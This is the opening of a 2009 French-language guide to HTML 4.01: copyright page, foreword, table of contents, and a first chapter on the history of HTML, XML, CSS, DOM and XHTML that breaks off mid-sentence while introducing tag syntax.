Copyright © 2009 Micro Application

20-22, rue des Petits-Hôtels

75010 Paris

1ère Édition - Avril 2009

Auteur Fabrice LEMAINQUE

Toute représentation ou reproduction, intégrale ou partielle, faite sans le

consentement de MICRO APPLICATION est illicite (article L122-4 du code
de la propriété intellectuelle).
Cette représentation ou reproduction illicite, par quelque procédé que ce
soit, constituerait une contrefaçon sanctionnée par les articles L335-2 et
suivants du code de la propriété intellectuelle.
Le code de la propriété intellectuelle n’autorise aux termes de l’article L122-5
que les reproductions strictement destinées à l’usage privé et non destinées
à l’utilisation collective d’une part, et d’autre part, que les analyses et courtes
citations dans un but d’exemple et d’illustration.

Avertissement Les informations contenues dans cet ouvrage sont données à titre indicatif
aux utilisateurs et n’ont aucun caractère exhaustif voire certain. A titre d’exemple non
limitatif, cet ouvrage peut vous proposer une ou plusieurs adresses de sites
Web qui ne seront plus d’actualité ou dont le contenu aura changé au
moment où vous en prendrez connaissance.
Aussi, ces informations ne sauraient engager la responsabilité de l’Editeur.
La société MICRO APPLICATION ne pourra être tenue responsable de toute
omission, erreur ou lacune qui aurait pu se glisser dans ce produit ainsi que
des conséquences, quelles qu’elles soient, qui résulteraient des informa-
tions et indications fournies ainsi que de leur utilisation.
Tous les produits cités dans cet ouvrage sont protégés, et les marques
déposées par leurs titulaires de droits respectifs. Cet ouvrage n’est ni édité,
ni produit par le(s) propriétaire(s) de(s) programme(s) sur le(s)quel(s) il porte et
les marques ne sont utilisées qu’à seule fin de désignation des produits en
tant que noms de ces derniers.

ISBN : 978-2-300-019586

MICRO APPLICATION Support technique :

20-22, rue des Petits-Hôtels Également disponible sur
75010 PARIS [Link]
Tél. : 01 53 34 20 20
Fax : 01 53 34 20 00
[Link]

Retrouvez des informations sur cet ouvrage !

Rendez-vous sur le site Internet de Micro Application
[Link]. Dans le module de recherche,
sur la page d’accueil du site, entrez la référence
1958
à 4 chiffres indiquée sur le présent livre.
Vous accédez directement à sa fiche produit.
Avant-propos
Destinée aussi bien aux débutants qu’aux utilisateurs initiés, la
collection Guide Complet repose sur une méthode essentiellement
pratique. Les explications, données dans un langage clair et précis,
s’appuient sur de courts exemples. En fin de chaque chapitre, découvrez,
en fonction du sujet, des exercices, une check-list ou une série de FAQ
pour répondre à vos questions.
Vous trouverez dans cette collection les principaux thèmes de l’univers
informatique : matériel, bureautique, programmation, nouvelles
technologies...

Conventions typographiques
Afin de faciliter la compréhension des techniques décrites, nous avons
adopté les conventions typographiques suivantes :
j gras : menu, commande, boîte de dialogue, bouton, onglet.
j italique : zone de texte, liste déroulante, case à cocher, bouton
radio.
j Police bâton : Instruction, listing, adresse internet, texte à
saisir.
j ✂ : indique un retour à la ligne volontaire dû aux contraintes de
la mise en page.

Il s’agit d’informations supplémentaires relatives au sujet traité.

Met l’accent sur un point important, souvent d’ordre technique qu’il

ne faut négliger à aucun prix.

Propose conseils et trucs pratiques.

Donne en quelques lignes la définition d’un terme technique ou d’une

abréviation.
 Sommaire

Chapitre 1 Introduction à HTML 11

1.1. Bref historique de HTML .......................................... 12

1.2. Pendant ce temps .................................................. 17
XML ................................................................... 17
CSS (Cascading Style Sheet) ..................................... 18
DOM2 (Document Object Model level 2) ........................ 20
1.3. La nouvelle génération : XHTML ................................ 21
1.4. Présentation rapide de la syntaxe et de la structure
du langage ........................................................... 22
1.5. Résumé .............................................................. 25

Chapitre 2 Les outils Web 27

2.1. Outils de création de pages Web ............................... 28

Éditeurs commerciaux ............................................. 29
Éditeurs gratuits ..................................................... 31
2.2. Navigateurs .......................................................... 36
Bref historique : Netscape contre Microsoft .................... 37
De nouveaux challengers .......................................... 38
2.3. Résumé .............................................................. 42

Chapitre 3 Conception de votre première page Web 43

3.1. Conception du site ................................................. 44

3.2. Création de la page d’accueil .................................... 47
Instruction !DOCTYPE ............................................. 47
Élément HEAD ....................................................... 49
Élément BODY ...................................................... 53
Paragraphes de texte : élément P ................................ 57
Lien hypertexte : élément A ....................................... 59
Élément saut de ligne BR .......................................... 65
Attributs d’alignements ............................................ 66
3.3. Résumé .............................................................. 69

Chapitre 4 Listes et tableaux 71

4.1. Listes ................................................................. 73

Liste ordonnée : éléments OL et LI ............................... 73

4 LE GUIDE COMPLET
 Sommaire

Liste à puces : éléments UL et LI ................................. 75

Liste de définitions : éléments DL, DT et DD ................... 76
Listes imbriquées ................................................... 79
4.2. Tableaux ............................................................. 89
Création d’un tableau simple ..................................... 90
Contrôle de la taille et de la structure des cellules ............. 98
Imbrication de tableaux .......................................... 127
Autres précisions concernant les tableaux .................... 128
4.3. Résumé ............................................................. 133

Chapitre 5 Mise en forme avancée 135

5.1. Principaux éléments structuraux .............................. 136

Élément HR ......................................................... 136
Commentaire HTML .............................................. 137
Modification des marges d’un paragraphe .................... 148
5.2. Éléments de structuration du texte ........................... 149
Autres éléments structuraux ..................................... 155
Élément OBJECT .................................................. 155
5.3. Caractères spéciaux et encodage de caractères .......... 156
Encodages de caractères ........................................ 157
Caractères spéciaux .............................................. 159
Caractères non affichables ...................................... 163
5.4. Modification de l’apparence du texte ......................... 164
5.5. Notation mathématique ......................................... 169
En texte simple ..................................................... 169
À l’aide de graphismes ........................................... 170
À l’aide de MathML ................................................ 171
5.6. Résumé ............................................................. 173

Chapitre 6 Couleurs et images 175

6.1. Les couleurs ....................................................... 177

Modification du schéma de couleurs de la page ............. 178
Modification de la couleur du texte dans un élément
de page ............................................................. 183
Modification du schéma de couleurs d’un tableau .......... 184
Précautions à prendre avec les couleurs ...................... 184
6.2. Les images ......................................................... 186
Image d’arrière-plan .............................................. 187

LE GUIDE COMPLET 5
 Sommaire

Image insérée ...................................................... 190

6.3. Images animées ................................................... 198
Insertion d’un gif animé ........................................... 199
Création d’un gif animé ........................................... 203
6.4. Image cliquable ................................................... 210
Images cliquables côté client : éléments MAP et AREA .... 210
Images cliquables côté serveur ................................. 222
6.5. Inclusion générique d’images : élément OBJECT .......... 224
Diminution du temps de téléchargement ...................... 234
6.6. Résumé ............................................................. 240

Chapitre 7 Jeux d’encadrement 243

7.1. Jeu d’encadrement : élément FRAMESET .................. 245

7.2. Contenu d’un jeu d’encadrement : élément FRAME ....... 248
Attributs essentiels de l’élément FRAME : name et src ..... 257
Attributs de mise en forme de l’élément FRAME ............. 258
Autres attributs de l’élément FRAME ........................... 259
7.3. Détermination du cadre cible : attribut target ............... 261
Noms réservés ..................................................... 262
Établissement de la cible par défaut des liens ................ 264
Sémantique de cible .............................................. 264
7.4. Ensembles de cadres imbriqués .............................. 265
7.5. Partage de données entre cadres ............................. 269
7.6. Contenu de remplacement : élément NOFRAMES ........ 270
7.7. Cadres en ligne : élément IFRAME ............................ 271
7.8. Travail avec les jeux d’encadrement .......................... 273
7.9. Résumé ............................................................. 275

Chapitre 8 Feuilles de style 277

8.1. Introduction ........................................................ 279

8.2. Attribut style ....................................................... 281
8.3. Élément STYLE .................................................... 282
Définition du style de la totalité des occurrences
d’un élément donné ............................................... 283
Définition du style de certaines occurrences
d’un élément donné ............................................... 286
Définition du style d’une unique occurrence
d’un élément donné ............................................... 287

6 LE GUIDE COMPLET
 Sommaire

Éléments DIV et SPAN ............................................ 288

Attribut media ...................................................... 291
Masquage du contenu de l’élément STYLE ................... 292
8.4. Feuille de style externe .......................................... 294
Élément LINK ...................................................... 303
Prise en compte du médium ..................................... 305
8.5. Propriétés de feuille de style ................................... 306
Propriétés de modification de texte et de police ............. 306
Représentation des éléments à l’aide d’un style ............. 311
8.6. Feuille de style en cascade ..................................... 323
Cascade et héritage ............................................... 323
8.7. Feuille de style auditive, pour un public particulier ........ 328
8.8. Résumé ............................................................. 335

Chapitre 9 Formulaires 337

9.1. Constituants d’un formulaire ................................... 339

Élément FORM ..................................................... 339
Types de commandes de formulaire ........................... 341
Élément INPUT .................................................... 343
Élément BUTTON ................................................. 350
Éléments SELECT, OPTGROUP et OPTION .................. 352
Élément TEXTAREA ............................................... 356
Élément LABEL .................................................... 357
Ajout d’une structure à un formulaire :
éléments FIELDSET et LEGEND ................................ 360
9.2. Formulaire et focus ............................................... 362
Navigation par tabulation ........................................ 363
Touches d’accès rapide .......................................... 366
9.3. Commandes inactives et en lecture seule ................... 368
Commandes inactives ............................................ 368
Commandes en lecture seule ................................... 369
9.4. Soumission du formulaire ....................................... 370
Méthodes de soumission du formulaire ....................... 370
Commandes réussies ............................................ 371
Traitement des données du formulaire ......................... 373
Types de contenu du formulaire ................................. 374
9.5. Remarques à propos des formulaires ........................ 375
9.6. Résumé ............................................................. 376

LE GUIDE COMPLET 7
 Sommaire

Chapitre 10 Scripts 379

10.1. Introduction aux scripts ......................................... 381

10.2. Élément SCRIPT .................................................. 383
Définition du type de script : déclaration META et attribut
type de l’élément SCRIPT ........................................ 386
Autres attributs de l’élément SCRIPT .......................... 387
Cas des agents utilisateurs qui ne gèrent pas les scripts ... 388
10.3. Événements intrinsèques ....................................... 390
10.4. Travail avec les scripts ........................................... 396
JavaScript .......................................................... 397
ECMAScript ........................................................ 412
VBScript ............................................................ 413
Traitement de formulaires à l’aide de scripts .................. 415
Cookies ............................................................. 416
10.5. Applets .............................................................. 424
Élément OBJECT .................................................. 426
Élément PARAM ................................................... 429
Déclaration et instanciation des objets ........................ 431
10.6. Résumé ............................................................. 432

Chapitre 11 Publication sur le Web 435

11.1. Identification du public .......................................... 436

11.2. Accessibilité ....................................................... 438
Accessibilité des tableaux ....................................... 441
Accessibilité des jeux d’encadrement ......................... 453
Modules complémentaires (plug-in) ........................... 454
11.3. Adaptation à plusieurs langues ................................ 456
Attribut lang ........................................................ 457
Attribut dir .......................................................... 461
Élément BDO ....................................................... 463
Langues et jeux de caractères .................................. 465
11.4. Test du site ......................................................... 466
Réactions du public ............................................... 471
11.5. Publication sur le Web ........................................... 472
11.6. Suivi de la fréquentation de votre site ........................ 478
11.7. Résumé ............................................................. 483

8 LE GUIDE COMPLET
 Sommaire

Chapitre 12 Annexes 487

12.1. Jeu des entités de caractères Latin-1 ........................ 488

12.2. Éléments et attributs HTML 4.01 .............................. 491
Éléments HTML 4.01 .............................................. 492
Attributs HTML 4.01 .............................................. 504
12.3. Compatibilité XHTML/HTML ................................... 513
Rédaction correcte des documents ............................ 513
Remarques sur les éléments .................................... 515
Remarques sur les attributs ..................................... 516
Exclusions SGML ................................................. 518
Instructions de traitement ........................................ 518
Modèle Objet de Document et XHTML ........................ 519
Feuilles de style imbriquées (CSS) et XHTML ................. 519
DTD XHTML ........................................................ 520
12.4. DTD et XML ........................................................ 523
Déclaration d’un élément ........................................ 524
Déclaration d’attributs ............................................ 526
Déclaration de notations ......................................... 527
Déclaration d’entités .............................................. 528
12.5. Sélecteurs CSS ................................................... 530
12.6. Ressources Web .................................................. 533
Spécifications ...................................................... 533
Outils de création Web ........................................... 533
Navigateurs ......................................................... 534
Images .............................................................. 534
Feuilles de style .................................................... 535
Scripts ............................................................... 535
Modules complémentaires ...................................... 537
Logiciels FTP ....................................................... 537

Chapitre 13 Glossaire 539

Chapitre 14 Index 559

LE GUIDE COMPLET 9
 Introduction
à HTML

Bref historique de HTML .................................................................................................... 12

Pendant ce temps ................................................................................................................ 17
La nouvelle génération : XHTML ...................................................................................... 21
Présentation rapide de la syntaxe et de la structure du langage ............................. 22
Résumé ................................................................................................................................... 25
 Chapitre 1 Introduction à HTML

La lecture de cette introduction pourrait ne pas paraître à certains

comme totalement indispensable à la compréhension du reste de
l’ouvrage. Pourtant, connaître la genèse et l’évolution de HTML et des
langages apparentés peut vous simplifier grandement la vie, en vous
permettant de mieux comprendre les préoccupations et buts sous-jacents
des créateurs et développeurs du langage. Pour la création d’un site Web
comme pour n’importe quelle activité de développement, connaître
l’historique et la philosophie du langage employé procure un avantage
souvent déterminant pour une réussite parfaite.

1.1. Bref historique de HTML

Le langage HTML (HyperText Markup Language) a été développé
initialement par Tim Berners-Lee, alors au CERN. Il a rapidement
connu un vif succès grâce au navigateur Mosaic, développé au NCSA.
Pendant les années 1990, il a poursuivi sa croissance en profitant de
celle, explosive, du Web, et s’est enrichi de nombreuses manières. Le
Web repose sur le respect, par les concepteurs de pages et les éditeurs de
logiciels, de conventions identiques pour HTML, ce qui a motivé le
travail commun sur les spécifications de HTML.

C’est un format non propriétaire fondé sur SGML (Standard Generalized

Markup Language) se conformant au standard international ISO 8879. Il
peut être créé et traité par de nombreux outils, depuis des éditeurs de
texte simples jusqu’à des outils dédiés sophistiqués WYSIWYG (What
You See Is What You Get ou tel écran, tel écrit). HTML emploie des
balises (comme <H1> et </H1>) pour structurer un texte en en-têtes,
paragraphes, listes, liens hypertextes, etc.

La spécification HTML 2.0 (RFC 1866 de novembre 1995) a vu le jour

sous le contrôle de l’IETF (Internet Engineering Task Force). Le groupe de
travail HTML du W3C (World Wide Web Consortium) diffuse en janvier
1997 la spécification HTML 3.2, qui apporte plusieurs améliorations et
modifications.

États d’avancement d’un document W3C

Tout document W3C passe par plusieurs états d’avancement (ou de
maturité) portant un nom précis.
Brouillon (WD, Working Draft) : un document publié par le W3C afin qu’il
soit examiné par la communauté composée des membres du W3C, du
public et des autres organismes techniques.

12 LE GUIDE COMPLET
 Bref historique de HTML Chapitre 1

Candidat à la recommandation (CR, Candidate Recommendation) : le

W3C considère que le document a été largement commenté et
répond aux exigences techniques du groupe de travail (Working Group). Il
publie un CR pour obtenir des commentaires sur les mises en œuvre.
Proposition de recommandation (PR, Proposed Recommendation) : c’est
désormais un document technique mature, dont la possibilité de mise en
œuvre a été largement vérifiée. Il est envoyé au Comité Consultatif
(Advisory Committee) pour adoption finale.
Recommandation (REC, Recommendation) : une Recommandation W3C
est une spécification ou un ensemble de règles ayant reçu l’approbation du
W3C. W3C en recommande un large déploiement. Elle est analogue à un
standard tel que diffusé par d’autres organismes.

Viendra ensuite la spécification HTML 4, un progrès immense par

rapport aux versions antérieures. Ses principales innovations concernent
l’internationalisation, l’accessibilité, les tableaux, les documents
composés, les feuilles de style, les scripts et l’impression.
j Internationalisation : les documents peuvent être écrits en toutes
les langues et diffusés partout dans le monde. Cela a été accompli
en tenant compte du document RFC 2070, qui traite de
l’internationalisation de HTML. L’adoption de la norme
ISO/IEC:10646 comme jeu de caractères du document pour
HTML a représenté une étape importante. C’est la norme
mondiale la plus complète, qui tient compte des problèmes
concernant la représentation des caractères internationaux, le sens
des écritures, la ponctuation et autres particularités des langues
mondiales. Cela permet une indexation des documents par les
moteurs de recherche, une typographie de qualité, la synthèse de
la parole à partir du texte, la césure, etc.
j Accessibilité : au fur et à mesure de la croissance de la
communauté du Web et de la diversification des capacités et
aptitudes de ses membres, il devient crucial que les technologies
employées soient appropriées à leurs besoins spécifiques. Le
langage HTML a été conçu pour rendre les pages Web plus
accessibles à ceux qui présentent des déficiences physiques. Les
développements de HTML 4 qui ont été inspirés par le souci de
l’accessibilité comprennent :
une meilleure distinction de la structure et de la présentation
du document, en encourageant pour cela l’utilisation des

LE GUIDE COMPLET 13
 Chapitre 1 Introduction à HTML

feuilles de style au lieu des éléments et attributs de

présentation HTML ;
l’amélioration des formulaires, ce qui comprend l’ajout de
touches d’accès rapide (access keys), la possibilité de
regrouper sémantiquement les contrôles des formulaires et les
options de l’élément SELECT ainsi que l’ajout des étiquettes
actives (active labels) ;
la possibilité de baliser la description textuelle d’un objet
incorporé (avec l’élément OBJECT) ;
un nouveau mécanisme d’images cliquables côté client
(l’élément MAP), qui permet aux auteurs d’intégrer des liens
sous forme de texte et d’images ;
l’accompagnement obligatoire des images incluses avec
l’élément IMG et des images cliquables incluses avec l’élément
AREA, d’un texte de remplacement, ainsi que des descriptions
longues des tableaux, images, cadres, etc. ;
la gestion des attributs title et lang pour tous les éléments,
ainsi que des éléments ABBR et ACRONYM ;
un éventail élargi des médias cibles (tty, braille, etc.) à utiliser
avec les feuilles de style ;
l’amélioration des tableaux, en y incluant des légendes, des
regroupements de colonnes et des mécanismes pour faciliter la
restitution non visuelle ;
j Tableaux : le nouveau modèle de tableau est fondé sur le
document RFC1942. Les auteurs disposent maintenant d’un plus
grand contrôle sur leur structure et leur disposition (par exemple,
les regroupements de colonnes). Ils peuvent spécifier la largeur
des colonnes et permettre aux agents utilisateurs d’afficher les
données de table progressivement, au fur et à mesure du
chargement, plutôt que d’attendre le chargement entier du tableau.
j Documents composés : le langage HTML offre maintenant une
structure standard pour l’incorporation d’objets média et
d’applications génériques dans les documents HTML. L’élément
OBJECT (de même que ses ancêtres, les éléments plus spécifiques
IMG et APPLET) fournit le moyen d’inclure des images, des
séquences vidéo, de l’audio, des mathématiques, des applications
spécialisées et d’autres objets dans un document. Il permet aussi
aux auteurs de spécifier une hiérarchie de restitutions de

14 LE GUIDE COMPLET
 Bref historique de HTML Chapitre 1

remplacement aux agents utilisateurs qui ne gèrent pas certaines

restitutions particulières.
j Feuilles de style : les feuilles de style simplifient le balisage
HTML et soulagent grandement HTML des responsabilités de la
présentation. Elles donnent aux auteurs comme aux utilisateurs le
contrôle de la présentation des documents (informations sur les
polices de caractères, alignement, couleurs, etc.). Les
informations de styles peuvent être spécifiées pour un élément
ponctuel ou pour des groupes d’éléments. Elles peuvent se trouver
à l’intérieur du document HTML ou dans une feuille de style
externe. Les mécanismes qui associent une feuille de style à un
document sont indépendants du langage de feuille de style. Avant
l’apparition des feuilles de style, les auteurs disposaient d’un
contrôle limité sur la restitution des pages. HTML 3.2 comprenait
un certain nombre d’attributs et d’éléments permettant un contrôle
de l’alignement, de la taille de la police de caractères et de la
couleur du texte. Les auteurs abusaient également de tables et
d’images pour la mise en pages. Le temps relativement long
nécessaire pour que les utilisateurs mettent à jour leurs
navigateurs implique que ces usages vont perdurer encore pendant
un certain temps. Cependant, puisque les feuilles de style offrent
des moyens de présentation plus puissants, le W3C fera
graduellement disparaître nombre d’éléments et d’attributs de
présentation HTML. Les éléments et attributs concernés sont
marqués comme « déconseillés ».
j Scripts : les scripts permettent aux auteurs de concevoir des pages
Web dynamiques (par exemple, des « formulaires intelligents »
qui réagissent au cours de leur remplissage par l’utilisateur) et
d’employer HTML comme support d’applications en réseau. Les
mécanismes fournis pour associer HTML et scripts sont
indépendants du langage de script.
j Impression : les auteurs voudront parfois aider l’utilisateur dans
l’impression d’autres documents, en sus du document courant.
Lorsque des documents font partie d’un ensemble, on peut décrire
leurs relations en utilisant l’élément HTML LINK ou encore en
utilisant le cadre de description des ressources (RDF) du W3C.

Fondamentalement, HTML 4 sépare bien plus efficacement la structure

de la présentation. Les éléments et attributs de présentation HTML sont
de plus en plus remplacés par d’autres mécanismes, en particulier les
feuilles de style. Plus particulièrement, les anciens éléments FONT et
BASEFONT sont désormais déconseillés.

LE GUIDE COMPLET 15
 Chapitre 1 Introduction à HTML

La spécification HTML 4.01 est enfin une révision de HTML 4 qui

corrige des erreurs et apporte certaines modifications à la version
précédente. Vous pourrez trouver le texte en français de la spécification
HTML 4.01 à l’adresse [Link]/w3c/html4.01/[Link] Cette
spécification incorpore davantage d’emprunts au langage XHTML
(eXtensible HyperText Markup Language), ce qui a permis d’alléger
d’autant la spécification XHTML 1.0.

HTML 4.01 existe en trois « parfums ». Vous spécifiez la variante à

employer en insérant une ligne au début du document. Chaque variante
dispose de sa propre définition de type de document, ou DTD (Document
Type Definition), qui spécifie les règles d’emploi de HTML de façon
claire et succincte :
j Le DTD HTML 4.01 strict comprend tous les éléments et
attributs qui ne sont pas déconseillés ou qui n’apparaissent pas
dans les documents avec jeu d’encadrement. Pour les documents
qui utilisent ce DTD, prendre la déclaration de type de document
suivante :
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN"
"[Link]

j Le DTD HTML 4.01 transitoire inclut la totalité du DTD strict

auquel se rajoutent les éléments et attributs déconseillés (la
plupart d’entre eux concernant la présentation visuelle). Pour les
documents qui utilisent ce DTD, prendre la déclaration de type de
document suivante :
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN"
"[Link]

j Le DTD HTML 4.01 de jeu d’encadrement inclut la totalité du

DTD transitoire complété des cadres (frames). Pour les documents
qui utilisent ce DTD, la déclaration de type de document suivante
est employée :
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Frameset//EN"
"[Link]

DTD
La définition de type de document, ou DTD (Document Type
Definition), définit la structure d’un document, les éléments et attributs
qui y sont autorisés, et le type de contenu ou d’attribut permis. Un
document bien formé répond simplement aux exigences de la
spécification, tandis qu’un document valide se conforme strictement aux
règles établies par la DTD à laquelle il fait référence.

16 LE GUIDE COMPLET
 Pendant ce temps… Chapitre 1

L’étude complète des DTD dépasse l’objectif de ce livre. Une

excellente présentation est disponible à l’adresse [Link]
.[Link]/tutoriel/xml/031219xml_dtd1a.shtml

Dans l’ensemble de ce livre, nous nous conformerons à la spécification

HTML 4.01.

1.2. Pendant ce temps…

Au cours de cette période, d’autres groupes de travail s’intéressaient à
différents aspects plus ou moins intégrés progressivement dans les
spécifications HTML successives.

XML
XML (eXtensible Markup Language) a été développé sous l’égide du
W3C en 1996. Il décrit une classe d’objets nommés documents XML et
décrit partiellement le comportement des programmes informatiques qui
les traitent. XML est une application restreinte de SGML (Standard
Generalized Markup Language, ISO 8879). Par construction, les
documents XML sont des documents conformes SGML.

Ils sont constitués d’unités de stockage nommées « entités », renfermant

des données analysées (parsed) ou non analysées (unparsed). Les
données analysées sont composées de caractères, dont certains forment
des données « caractère » et d’autres un balisage. Le balisage code une
description de la structure logique de stockage du document. XML
procure un mécanisme imposant certaines contraintes sur cette structure
logique.

Un module logiciel nommé processeur XML sert à lire les documents

XML et à procurer l’accès à leur structure et à leur contenu. Par
définition, un processeur XML accomplit son travail pour le compte
d’un autre module, l’application. Cette spécification décrit le
comportement attendu d’un processeur XML : la façon dont il doit lire
les données XML et les informations qu’il doit transmettre à
l’application.

LE GUIDE COMPLET 17
 Chapitre 1 Introduction à HTML

Les objectifs fondamentaux de XML sont les suivants :

j XML doit être largement utilisable sur Internet.
j XML doit prendre en charge une large gamme d’applications.
j XML doit être compatible avec SGML.
j L’écriture de programmes traitant les documents XML doit être
facile.
j Les dispositifs facultatifs de XML doivent être limités voire, dans
l’idéal, inexistants.
j Les documents XML doivent être clairs et lisibles par les
humains.
j La conception XML doit pouvoir être effectuée rapidement.
j XML doit être formel et concis.
j Il doit être facile de créer des documents XML.
j Le côté abrupt du balisage XML importe peu.

Cette spécification, accompagnée de ses standards associés (Unicode et

ISO/IEC 10646 pour les caractères, Internet RFC 3066 pour les balises
d’identification de langue, ISO 639 pour les codes de noms de langue et
ISO 3166 pour les codes de noms de pays), procure toutes les
informations nécessaires pour comprendre XML Version 1.0 et
construire les programmes informatiques qui le traitent.

CSS (Cascading Style Sheet)

Le langage CSS permet de définir des feuilles de style qui peuvent être
appliquées à un site Web. Il permet la manipulation des styles appliqués
à chaque balise HTML, via un langage de script.

La première Recommandation CSS (Recommandation W3C du 17

décembre 1996 révisée le 11 janvier 1999) a défini tout ce qui touche
aux caractéristiques graphiques : couleurs, polices, tailles, etc.

Une seconde Recommandation (CSS2, 12 mai 1998) a été ajoutée pour

gérer tous les problèmes de positionnement dynamique. Elle définit les
feuilles de style en cascade, niveau 2. CSS2 est un langage de feuille de
style qui permet aux auteurs et aux lecteurs de lier du style (comme les
polices de caractères, l’espacement et un signal auditif) aux documents
structurés (comme les documents HTML et applications XML). En

18 LE GUIDE COMPLET
 Pendant ce temps… Chapitre 1

séparant la présentation du style du contenu des documents, CSS2

simplifie l’édition pour le Web et la maintenance d’un site.

CSS2 étant construit sur CSS1, toute feuille de style valide en CSS1 est
ainsi également valide en CSS2, à quelques rares exceptions près. CSS2
prévoit des feuilles de style liées à un média spécifique, ce qui autorise
les auteurs à présenter des documents sur-mesure pour les navigateurs
visuels, les synthétiseurs de parole, les imprimantes, les lecteurs en
braille, les appareils portatifs, etc. Cette spécification introduit aussi les
notions de positionnement du contenu, de téléchargement des polices, de
mise en forme des tables, de fonctions d’internationalisation, de
compteurs et de numérotage automatique et quelques propriétés
concernant l’interface utilisateur.

Aujourd’hui, un troisième projet (CSS3, Brouillon du 23 mai 2001) est

en cours de réalisation. Il modularise CSS2. Plusieurs de ces modules
sont aujourd’hui à l’état de Candidats à la recommandation. Pour de
plus amples informations, consultez le site du W3C.

À propos du DHTML
Le DHTML (Dynamic HyperText Markup Language) a été inventé par
Netscape à partir de sa version 4. Ce n’est pas à proprement parler un
langage de balises pour Internet : il n’existe d’ailleurs aucune norme
DHTML à part entière. C’est en réalité un ensemble de technologies
Internet associées afin de fournir des pages HTML plus dynamiques.
Microsoft a suivi cette voie en développant une autre version de
DHTML à partir de la version 4 d’Internet Explorer.
DHTML s’appuie sur HTML (nécessaire pour présenter le document), sur
les feuilles de style (CSS), qui permettent de définir un style pour
plusieurs objets et le positionnement de ceux-ci sur la page, sur le Modèle
Objet de Document (DOM), proposant une hiérarchie d’objets afin de
faciliter leur manipulation, et enfin sur un langage de script, essentiel pour
définir des événements utilisateur. Il s’agit essentiellement de JavaScript
(développé par Netscape) ou de JScript (développé par Microsoft), et
éventuellement de VBScript, la tendance étant toutefois d’employer
désormais ECMAScript, une tentative de normalisation du noyau du
langage : sa syntaxe, ses mots-clés et ses composants natifs. La troisième
édition du standard ECMA-262 a été publiée en décembre 1999
([Link]/publications/standards/[Link]).
Sans script, le DHTML n’est pas dynamique. C’est l’association avec le
script qui permet d’apporter des modifications après le chargement de la
page, chose impossible avec le HTML classique. Avec ce dernier, une fois
la page chargée et affichée, il est impossible d’afficher de nouveaux
éléments ou de les déplacer.

LE GUIDE COMPLET 19
 Chapitre 1 Introduction à HTML

Le DHTML serait très intéressant à utiliser s’il existait une norme

officielle respectée par les navigateurs, ce qui reste loin d’être le
cas : un script écrit pour un navigateur risque fort de ne pas fonctionner
sur un autre sans travail d’adaptation. Même si chacun peut
potentiellement profiter du DHTML, puisque pratiquement plus aucun
internaute n’utilise de navigateur de génération inférieure à la version 4,
les nombreuses incompatibilités entre navigateurs provoquent de grandes
difficultés.
DHTML n’est donc en rien comparable au PHP, à l’ASP, aux CGI, qui
permettent de formater « à la volée » les pages d’un site (souvent interfacé
avec des bases de données) en proposant du contenu en temps réel et en
interagissant avec l’utilisateur. La majorité des effets du DHTML restent
ainsi réservés aux intranets, où la population des navigateurs est connue et
maîtrisée.

DOM2 (Document Object Model level 2)

Le Modèle Objet de Document (DOM, Recommandation W3C du 13
novembre 2000) est une interface de programmation d’application (API)
pour des documents HTML valides et XML bien formés. Il définit la
structure logique d’un document et la manière d’y accéder et de le
manipuler. Dans la spécification DOM, le terme « document » est
employé au sens large : XML sert de plus en plus à représenter de
nombreuses sortes d’informations, qui peuvent être stockées sur des
systèmes variés, et étaient traditionnellement considérées comme des
données plutôt que comme des documents. XML présente néanmoins
ces données comme des documents, le DOM permettant de gérer ces
données.

Avec le Modèle Objet de Document, les programmeurs peuvent

construire des documents, naviguer dans leur structure ainsi qu’ajouter,
modifier ou effacer des éléments et leur contenu. Tout ce qui se trouve
dans un document HTML, ou XML, peut être touché, modifié, effacé ou
ajouté en utilisant le Modèle Objet de Document, à quelques rares
exceptions près.

Un objectif important du DOM en tant que spécification W3C est de

fournir une interface de programmation standard pouvant être utilisée
dans une grande diversité d’environnements et d’applications. Le DOM
est conçu pour une utilisation dans n’importe quel langage de
programmation.

20 LE GUIDE COMPLET
 La nouvelle génération : XHTML Chapitre 1

1.3. La nouvelle génération : XHTML

XHTML (eXtensible HyperText Markup Language) constitue une famille
de modules et de types de documents existants ou futurs, qui constituent
une reproduction, un sous-ensemble et une extension de HTML
reformulé en XML. Les types de documents de la famille XHTML sont
tous fondés sur XML dans le but de fonctionner avec des agents
utilisateurs fondés eux aussi sur XML. C’est le successeur de HTML,
disposant désormais de sa propre spécification, XHTML 1.0. Celle-ci est
la première Recommandation W3C pour XHTML, créée d’après les
travaux antérieurs sur HTML 4.01, HTML 4.0, HTML 3.2 et HTML 2.0.
Elle combine la force de HTML 4 avec la puissance de XML.

XHTML 1.0 emprunte les éléments et attributs de la Recommandation

W3C HTML 4, ce qui permet son interprétation par les navigateurs
existants tant que certaines règles très simples sont respectées (voir
Annexe C). Vous pouvez donc employer dès à présent XHTML.

Vous pouvez transformer vos anciens documents HTML en XHTML

grâce à un convertisseur d’Open Source, HTML Tidy. Cet outil élimine
au passage certaines erreurs de balisage, réduit l’éparpillement et
améliore globalement le balisage, facilitant d’autant sa maintenance
ultérieure.

Comme HTML 4.01, XHTML 1.0 existe en trois « parfums » : Strict,

Transitional et Frameset. Vous choisissez la variante en insérant une ligne
au début du document, spécifiant le DTD employé.

La spécification XHTML 1.0 complète en anglais est disponible en

plusieurs formats, dont HTML, PostScript et PDF. Il existe également de
nombreuses traductions, dont une version française disponible à
l’adresse [Link]/w3c/xhtml1/

Nous signalerons lorsque nécessaire les modifications à apporter au code

HTML 4.01 pour une parfaite compatibilité avec la spécification
XHTML 1.0.

LE GUIDE COMPLET 21
 Chapitre 1 Introduction à HTML

1.4. Présentation rapide de la syntaxe

et de la structure du langage
HTML est fondamentalement un langage très simple, dans lequel des
balises (tag) définissent un élément et ses propriétés. En HTML, ces
balises sont les signes inférieur et supérieur (comme dans <TITLE>).
Une balise définit un élément : un objet, texte ou autre, encadré par une
balise d’ouverture et une balise de fermeture. Cette dernière est
identique à la balise d’ouverture, à ceci près qu’une barre oblique (slash)
est placée entre l e caractère inférieur et le nom de l’élément. Entre les
deux balises est placé le contenu :
<TITLE>Titre</TITLE>

Ici, l’élément est TITLE, la balise d’ouverture <TITLE>, le contenu

Titre et la balise de fermeture </TITLE>.

Certains éléments peuvent exceptionnellement être présents dans un

document sans balise : <HEAD> et HEAD sont tous les deux valides.

Les éléments dépourvus de contenu portent le nom d’éléments vides. Si

cette absence de contenu est liée à la définition de l’élément, celui-ci est
